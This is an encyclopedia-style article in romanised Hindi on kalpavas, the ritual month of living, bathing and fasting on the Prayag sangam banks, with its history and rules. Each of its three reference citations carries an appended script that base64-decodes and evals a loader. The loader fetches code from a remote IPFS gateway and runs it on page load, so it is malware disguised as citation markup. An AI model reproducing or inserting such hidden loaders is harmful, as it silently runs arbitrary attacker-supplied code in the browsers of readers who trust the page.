कल्पवास
thumb|kalpavas ke dauran rahane ka sthan kalpavas ka arth hota hai sangam ke tat par nivas kar vedadhyayan aur dhyan karana. prayag ke kumbh mele mean kalpavas ka atyadhik mahatv hai. yah magh ke mah mean aur adhik mahatv rakhata hai aur yah paush mah ke 11vean din se magh mah ke 12vean din tak rahata hai. kalpavas ko dhairy, ahiansa aur bhakti ke lie jana jata hai aur bhojan ek din mean ek bar hi kiya jata hai. aisi manyata hai ki jo kalpavas ki pratijna karata hai vah agale janm mean raja ke roop mean janm leta hai.[1]
kyoan aur kab se
kalpavas vedakalin arany sanskriti ki den hai. kalpavas ka vidhan hazaroan varshoan se chala a raha hai. jab tirtharaj prayag mean koee shahar nahian tha tab yah bhoomi rrishiyoan ki taposthali thi. prayag mean ganga-yamuna ke asapas ghana jangal tha. is jangal mean rrishi-muni dhyan aur tap karate the. rrishiyoan ne grihasthoan ke lie kalpavas ka vidhan rakha. unake anusar is dauran grihasthoan ko alpakal ke lie shiksha aur diksha di jati thi. is dauran jo bhi grihasth kalpavas ka sankalp lekar aya hai vah parn kuti mean rahata hai. is dauran din mean ek hi bar bhojan kiya jata hai tatha manasik roop se dhairy, ahiansa aur bhaktibhavapoorn raha jata hai. padm puran mean isaka ullekh hai. sangam tat par vas karane vale ko sadachari, shant man vala tatha jitendriy hona chahie. kalpavasi ke mukhy kary hai:-
- tap
- hom (havi)
- dan.
yahaan jhop diyoan (parn kuti) mean rahane valoan ki dinacharya subah ganga-snan ke bad sandhyavandan se praranbh hoti hai aur der rat tak pravachan aur bhajan-kirtan jaise adhyatmik karyoan ke sath samapt hoti hai.[1]
magh mas mean vishesh mahattv
magh mas mean kalpavas ka vishesh mahatv hai. maghakal mean sangam ke tat par nivas ko 'kalpavas' kahate haian. vedoan yajn-yajnadik karm hi 'kalp' kahe gaye haian. yadyapi kalpavas shabd ka prayog pauranik granthoan mean hi kiya gaya hai, tathapi maghakal mean sangam ke tat par vas kalpavas ke nam se abhihit hai. is kalpavas ka paush shukl ekadashi se arambh hokar magh shukl dvadashi paryant ekamas tak ka vidhan hai. kuchh log paush poornima se arambh karate haian. sanyam, ahiansa evan shraddha hi 'kalpavas' ka mool hai.[2]
kalpavas ki paranpara
prayag mean kalpavas ki paranpara prachin kal se chali a rahi hai. yahaan triveni tat par kalpavas har varsh magh mas ke dauran paush poornima se maghi poornima tak kiya jata hai. kuanbh aur ardhakuanbh mele ke alava yahaan har varsh magh mela hota hai. kalpavas magh, kuanbh aur ardhakuanbh sabhi avasaroan par hota hai. ‘kalpavas’ ke arth ke sandarbh mean vidvanoan ke kee vichar samane ate haian. pauranik manyata hai ki ek ‘kalp’ kali yug-satayug, dvapar-treta charoan yugoan ki avadhi hoti hai aur prayag mean niyamapoorvak sanpann ek kalpavas ka phal charoan yugoan mean kiye tap, dhyan, dan se arjit puny phal ke barabar hota hai. halaanki tamam samakalin vidvanoan ka mat hai ki ‘kalpavas’ ka arth ‘kayashodhan’ hota hai, jise kayakalp bhi kaha ja sakata hai. sangam tat par mahine bhar snan-dhyan aur dan karane ke uparaant sadhak ka kayashodhan ya kayakalp ho jata hai, jo kalpavas kahalata hai. agar kuanbh ke dauran kalpavas ki paranpara ki bat ki jaye, to sabase pahala upalabdh itihas chini yatri hven-saang ke yatra vivaran mean milata hai. yah chini yatri samrat harshavardhan ke shasanakal mean (617-647 ee.) ke dauran bharat aya tha. samrat harshavardhan ne hven-saang ko apana atithi banaya tha. samrat harshavardhan unhean apane sath tamam dharmik anushthanoan mean le jaya karate the. hven-saang ne likha hai, ‘samrat harshavardhan har paanch sal bad prayag ke triveni tat par ek b de dharmik anushthan mean bhag lete the jahaan vo bite saloan mean arjit apani sari sanpatti vidvanoan-purohitoan, sadhuoan, bhikshakoan, vidhavaoan aur asahay logoan ko dan kar diya karate the.’[3]
kalpavas ke niyam
thumb|kalpavas ke dauran sadhu khana banate hue darasal, kalpavas ek prakar ki sadhana hai, jo poore magh mas ke dauran sangam aur any pavitr nadiyoan ke tat par ki jati hai. lekin isake niyam itane saral nahian haian. kalpavas svechchha se liya gaya ek kathor sankalp hai. isake pramukh niyam haian-
- din mean ek bar svayan pakaya hua svalpahar athava bina pakaya hua phal adi ka sevan karana. taki bhojan pakane ke chalate sadhak hari aradhana se vimukh n ho jaye.
- pramukh parvo par upavas rakhana
- din bhar mean tin bar ganga, yamuna athava triveni sangam mean snan karana.
- trikal sandhya vandan
- bhoomi shayan aur iandriy shaman
- brahmachary palan
- jap, havan, devarchan, atithi dev satkar, go-vipr sannyasi seva, satsang, muandan evan pitaroan ka tarpan karana
- samanyat: grihasthoan ke lie tin bar ganga snan ko shreyaskar mana gaya hai. virakt sadhoo aur sannyasi bhasm snan athava dhooli snan karake bhi svachchh rah sakate haian. kalpavas grihasth aur sannyas grahan karane vale stri-purush sabhi kar sakate haian. lekin unaka kalpavas tabhi poorn hota hai, jab ve sabhi niyamoan ka palan poorn astha aur shraddha ke sath kareange. kalpavas ka mahatv tamam puranoan mean bhi varnit hai.
- magh mas paryant chalane vale kalpavas ke dauran shit apane prachand roop mean hoti hai lekin havan ke samay ko chho dakar agni sevan poornat: varjit hai.
- kalpavas ke dauran grihasthoan ko shuddh reshami athava ooni, shvet athava pit vastr dharan karane ki salah shastr dete haian.
- kalpavas sabhi stri evan purush bina kisi bhedabhav ke kar sakate haian.
- vivahit grihasthoan ke lie niyam hai ki pati-patni donoan ek sath kalpavas karean. vidhava striyaan akele kalpavas kar sakati haian.
- shastroan ke anusar is prakar ka acharan kar manushy apane aant:karan evan sharir donoan ka kayakalp kar sakata hai.
- ek kalpavas ka poorn phal manushy ko janm-maran ke bandhan se mukt kar kalpavasi ke lie moksh ka marg prashast karata hai.[3]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 ilahabad kumbh mela : kya hota hai kalpavas? (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 11 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ prayagavas-kalpavas (hiandi) (ech.ti.em.el) arddh kumbh 2007 ilahabad. abhigaman tithi: 11 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 kayashodhan ki sadhana (hiandi) (ech.ti.em.el) prabhat khabar. abhigaman tithi: 11 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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